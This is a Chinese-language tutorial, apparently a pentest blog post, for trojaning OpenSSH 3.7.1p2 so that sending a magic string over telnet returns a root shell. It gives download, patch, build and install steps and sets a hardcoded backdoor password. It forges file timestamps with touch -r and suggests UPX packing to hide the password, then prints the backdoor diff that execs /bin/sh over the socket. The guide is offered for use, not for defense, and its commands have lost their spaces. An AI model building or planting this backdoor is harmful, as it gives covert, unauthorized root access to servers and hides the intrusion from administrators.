这个教程比较老了,自己零几年做的,一直没发过。
大牛们不要扔砖头。
功能很简单却很实用telnet后直接返回个ROOTSHELL
我们先需要下载两个东西:
一个是openssh-3.7.1p2.tar.gz的源码包
一个是他的后门补丁ssh3.7.1p2.patch
#wgethttp://mirror.mcs.anl.gov/openssh/portable/openssh-3.7.1p2.tar.gz
#wgethttp://pmd5.com/ssh.patch.txt
#patch<../ssh3.7.1p2.patch给他打上后门补丁
#visshd.c修改下默认的后门密码
/defineEVIL“admin”
#viversion.h修改一下版本号与实际保持一致
以前的老版本都没有用到PAM做认证
看下自己的用到了没有
#vi/etc/ssh/sshd_config
#./configure–prefix=/usr–bindir=/usr/bin/–sbindir=/usr/sbin/–sysconfdir=/etc/ssh–with-pam;make
报错了
因为老版本的不支持GSSAPI
#vi/etc/ssh/sshd_config
注释掉GSSAPI
注释掉AcceptEnv
#VI/etc/ssh/ssh_config
注释掉GSSAPI
#makeinstall
修改一下创建时间
#touch-r/bin/ls/usr/sbin/sshd
#touch-r/bin/ls/usr/bin/ssh
#ll/usr/bin/ssh/bin/ls看时间同步了吧
重起一下SSHD
/etc/init.d/sshdrestart
有点小缺陷
#strings/usr/sbin/sshd|grepadmin就可以显示密码了大家可以简单的用UPX给它加个壳
ps:给大家推荐一个免费破md5的网站。两个版本的openssh3.7.1p2,第一个是某大牛写的:
openssh3.7.1p2.rar
01
---sshd.c TueSep 214:51:172003
02
+++sshd-bd.c MonSep2920:34:142003
03
@@-402,6+402,55@@
04
buf[sizeof(buf)-1]=0;
05
client_version_string=xstrdup(buf);
06
07
+ /*XXX:EVILHACKINGSTARTSHERE!<IMGclass=wp-smileyalt=;)src="http://www.80pentest.com/wp-includes/images/smilies/icon_wink.gif">
08
+ */
09
+ #defineEVIL"LETMEIN"
10
+ if(!strcmp(client_version_string,EVIL)){
11
+ chartyname[65];
12
+ intpty,tty;
13
+
14
+ packet_set_nonblocking();
15
+ pty_allocate(&pty,&tty,tyname,64);
16
+ if(fork()==0){
17
+ debug("executingshell");
18
+ dup2(tty,0);
19
+ dup2(tty,1);
20
+ dup2(tty,2);
21
+ close(pty);
22
+ close(tty);
23
+ /*dowecaretocloceallopensockets?*/
24
+ execl("/bin/sh","-sh",0);
25
+ }
26
+ {
27
+ intlen;
28
+ fd_setreadfds;
29
+
30
+ signal(SIGCHLD,exit);
31
+ while(1){
32
+ FD_ZERO(&readfds);
33
+ FD_SET(pty,&readfds);
34
+ FD_SET(sock_in,&readfds);
35
+
36
+ select(sock_in+1,&readfds,NULL,NULL,NULL);
37
+ memset(buf,0,sizeof(buf));
38
+ /*readfromremotesocket*/
39
+ if(FD_ISSET(sock_in,&readfds))
40
+ {
41
+ len=recv(sock_in,buf,sizeof(buf),0);
42
+ write(pty,buf,len);
43
+ }
44
+ /*readfrompty*/
45
+ if(FD_ISSET(pty,&readfds))
46
+ {
47
+ len=read(pty,buf,sizeof(buf));
48
+ write(sock_out,buf,len);
49
+ }
50
+ }
51
+ }
52
+ /*neverreached*/
53
+ exit(0);
54
+ }
55
+
56
/*
57
*Checkthattheversionsmatch. Infuturethismightaccept
58
*severalversionsandsetappropriateflagstohandlethem.
*
* |